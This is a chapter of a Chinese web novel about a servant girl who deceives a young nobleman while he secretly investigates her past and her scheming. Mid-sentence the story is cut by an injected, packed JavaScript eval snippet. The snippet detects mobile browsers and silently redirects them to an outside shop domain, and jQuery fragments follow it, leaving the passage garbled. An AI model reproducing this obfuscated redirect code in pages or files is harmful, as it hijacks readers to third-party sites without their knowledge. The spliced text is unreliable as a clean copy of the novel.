那场雨带来了一连几天的凉爽,白日里纵是骄阳似火也总有清风穿堂而过。
书房里只有陈执生一人,他面色微敛,静静地坐在方桌前翻看手中的卷册,目光四下流转,一副心不在焉的模样。
耳边响起一阵脚步声——是福安。
他怀中捧着一本卷宗,疾步快行地走进书房,他眉心一皱,面上现出几分不忍开口道:“这是阿檀姑娘入府前的身份卷宗,我提前查验过,未觉有可疑之处。”
陈执生抬眸看了一眼福安的神情,他将卷宗递给自己之际倒颇具释然,显然是对卷宗上带来的答案很满意。
他面上并无松解之色,只是伸手接过卷宗,沉声道:“那个伙计——这两日跟踪得如何?”
“少爷说的是阿胡吧,”福安道,“他没有妻儿,家中只有一位病重的母亲,每日庄子上的事情结束后便回家照料母亲,并没有什么可疑之处。”
“继续跟。”
他的声音像是暗夜里敲响的洪钟,霎时间整个屋子都回荡着这三个字的回音。
“是。”福安应下。
……
春光和煦,四周皆是一片绿意盎然的景象,清仪孤身在花园中穿行,抬眸一看却见穆沉雪匆匆走来,她眸光阴沉,面上尽是讳莫如深的谨慎之色。
“你不是跟着嬷嬷出门采买了吗?”清仪面上不解,“怎么回来得如此快?”
“我有事便先回来了。”穆沉雪疾言厉色地道。
话音一落,她随意地牵起清仪的手,清仪指尖一摩挲,发觉她应是将什么东西放到了自己掌心,冰凉光滑,应是张折叠过后的信纸。
她漫不经心地扫视了一眼四周,并无人路过此地,她悄声道:“此物从何而来?”
“我上街时一个女子塞到了我手中,”穆沉雪的唇间几乎不动,只是暗暗地说,“我悄悄打开看了一眼。”
说着,她略一皱眉颇有几分不解地开口:“我听嬷嬷说宫中前几日有个宴会,据说京中有头有脸的公子小姐几乎都去了,只是——”
“什么?”
“二少爷没去。”
清仪听得云里雾里,却暗暗发觉此事大抵是与陈执生有关,她默默地攥紧掌间的信纸,点了点头。
“眼下事情已经办完,我还需赶快回去帮嬷嬷们。”穆沉雪朗然一笑,扬声道。
“既如此,那就不耽误你了,快去吧。”
二人微微颔首作别。
清仪回到房中,将门一阖便迅即掏出袖中之物,那是一张色泽上乘的薛涛笺,不必打开她也能猜到这信纸是出自谁手。
毕竟她当时伪造那人书信时用的便是这样的纸张。
她将手中之物展开,那熟悉的字迹映入眼帘。
清仪的眸睫淡淡一垂,目光急切地扫过一列列文字,片刻后,她将手一撂。
不出所料,这封信出自徐紫缳,信上她说想让自己设计为她牵线搭桥,她想要见陈执生一面。
清仪的眸光微微一闪,她意识到眼下向徐紫缳表明自己诚心的机会来了。
经过了沈凛一事,眼下她也不知道陈执生已然得知了多少,他有可能已经在沈凛处得知穆沉雪会武,并且主动找去郊外救下了自己。
那日之事再次跃上脑海,自己知道若是长时间不回府,沉雪定然会有所怀疑、出城来寻,所以就留下了记号。
自己本是不欲暴露行踪才出此下策,可千算万算也没想到,那沈凛唤来之人竟是陈执生。
自己与沉雪二人刻意隐瞒行踪一事暴露无遗。
陈执生虽然不工于心计,却也是个聪明人。
清仪渐渐垂下眸子:眼下他那条路已然不可全心依赖,而徐紫缳抛来的橄榄枝正是时候。
天光明亮,她却起身将屋内的蜡烛燃起,看着细小的火苗在空中静静舞蹈,随即将手中的信笺覆到那火苗之上。
那薄弱的烛火先是被压弯了腰,接着在纸上烧出一个黑点,那黑点不断扩张变成一个黑色窟窿,最后火焰在洞中燃烧着探出头来。
她决定邀陈执生傍晚去逛街市。
书房里,陈执生仍伏在桌案前,福安带来的卷宗就平铺在桌上,细密的楷体整整齐齐地躺在上面。
卷宗里清晰地写着魏小七的过往,原江南绾州人,除去两个夭折的男娃,她家中共有五个兄弟姊妹,十三岁时逢江南水灾故乡被洪水冲毁,因此举家搬迁,流离失所,兄长也在洪水中被冲走。
一家人露宿街头之际两个姐姐相继饿死,后又赶上疟疾肆虐,父母皆染上此病,被移居隔离后病重身亡。
她与仅存人世的姐姐相依为命,两人跟随难民共同沿街乞讨一路北上,姐姐冻死在了半路而她独自一人进了京城,最后入了陈府为奴。
看到最后,陈执生已是双目微热,泪盈于睫,他扬手一合将卷宗收了起来,此刻才算明白了福安进门之际,那面上的哀色是从何而来。
阿檀一贯镇静从容,自己也始终以为那是因她机敏聪慧,为人淡漠,而日子又清苦所致,却不想她曾经面临的是这样大的风浪,纵使心里蓄着许多责备与不解,可在这一刻上面浮着的是莫大的心疼。
一阵敲门声响起,门外传来一声问候:“二少爷,奴婢是阿檀,找您有些事情。”
陈执生面色骤然一紧,他眸子一转,猛地将卷宗收好,又端坐于桌案前正了正面色才道:“进来吧。”
听到回应,清仪攥紧手中的食盘缓缓推门而入,糕点传来阵阵甜香,她耸了耸鼻子看向陈执生。
面前之人看向自己的神情中却无甚嗔怪,他只是双目盈盈地注视着自己走到桌前,清仪心中悄悄松了一口气。
今日之事又多了一分把握。
“二少爷用功许久,不如用些茶点吧。”她温声道。
“好。”陈执生应下得很爽快,他将一块方形糕点夹入口中,细细咀嚼那温软的糕体,一阵清甜的米香便从中传来。
糕点下肚,只见阿檀抬起茶壶轻轻倒了一杯,他便伸手将茶接过。
可那茶的味道却不那么尽如人意。
茶中微涩,虽然是温热的,可回味起来却苦味居多,茶香欠佳。
陈执生咂了咂嘴,垂眸瞥了一眼那茶水,又看向面前之人希冀的目光。
“这糕点甚是美味,不过这茶——”他目中渐渐涌上一丝冷色,“却是涩口了些。”
“是奴婢的疏忽。”
见状,清仪忙垂首致歉,却见陈执生摆了摆手朗然一笑。
“无妨,一杯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942341|213788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好茶定然是历经了采摘、晾晒、浸泡等多道工序才能被制成,这其中要挑选、要掌握时间和火候,难免有哪一道工序会出问题,这都是再平常不过的事情,你不必挂怀。”
清仪闻言点了点头,扯出了个笑容。
却见陈执生伸手拿起另一个空杯子缓缓倒上一杯茶,将其推到了清仪面前。
清仪温声道了句谢,便抬手饮下那茶,茶味略有苦涩,茶香也算不得馥郁,她心中暗暗懊悔,自己今日为何竟在如此简单之事上犯下错处。
她的唇边仍旧接触着那热茶,只听陈执生温声开口。
“这茶既是经历了如此多才走到这里,才更要留心,若是在其中哪步行差踏错,其余的步骤恐怕就白费力气了。”
清仪心中陡然一震,却是面色如常地朝陈执生点了点头:“奴婢记下了。”
“你不是说有事来找我吗?”陈执生笑颜依旧,朗声问道,“所为何事?”
她眸色一转,颇有几分犹豫,张了张口面带歉意地看向陈执生,却未发一言。
陈执生见她意甚踟蹰,便知应是自己刚刚的一番话过于严肃令她不敢提出所求之事,心中不禁萌生了几分愧疚,便温声说道:“你不必拘束,但说无妨。”
面前的人眸光清亮,一双黑葡萄一样的眼睛中映着自己的面庞。
从初遇起他便是这样,一副什么愁事都不放在心上的模样,清仪眸光流转,其实她还挺喜欢陈执生这双一笑便弯起来的眸子,澄澈透亮,有着这京城里少见的赤诚善良。
她忽然感到有些伤心,也是从初遇起自己便在利用他这一点接近他……伤害他……
其实书房的门扉已然关闭,清仪还是感觉到又一阵风轻轻地吹了过来,就像是单独吹给她一个人似的,悄悄地裹紧了她全身,她无端地感觉那像是一个无声的拥抱。
就像是风听到了自己心中的苦艾,在悄声告诉自己,它能理解自己。
“明日傍晚,奴婢想去街市上逛一逛,可能要晚些回来。”她终于张开嘴说道。
“原来是这事啊,”陈执生淡然一笑,“自是可以。”
清仪起身微微行礼致谢,身形却是顿了顿,并未转身离开。
“少爷,您明日有时间与奴婢同去吗?”她欲言又止,最终却还是开口。
陈执生愣愣地看向她,面上无悲无喜,只是点头应下。
“自是可以,”他温声道,“若是没事,你便先下去吧。”
清仪便行了一礼转身离去。
望着她离去的背影,陈执生的面色骤然转寒。
门扉被打开时迎面吹来了一阵疾风,使书房内染上了冷意。
待门关上,陈执生又一次拿出了那卷宗,卷宗里还夹着一张小巧的纸条。
上面的字体有些歪扭,却依旧清晰可辨其内容:徐小姐令阿檀姑娘设计约公子出去,欲与公子相见。
他垂着眼睛看向那纸条上的一行小字,不由得冷笑了一声。
那纸条来自徐紫缳房中的丫鬟。
陈执生渐渐闭上双眼,回想起归宁宴那日自己得知了长芸与徐小姐的勾当,便设计收买了此人,却没想到最终在阿檀身上发挥了作用。
当真是一场孽缘,陈执生骤然想到这句话。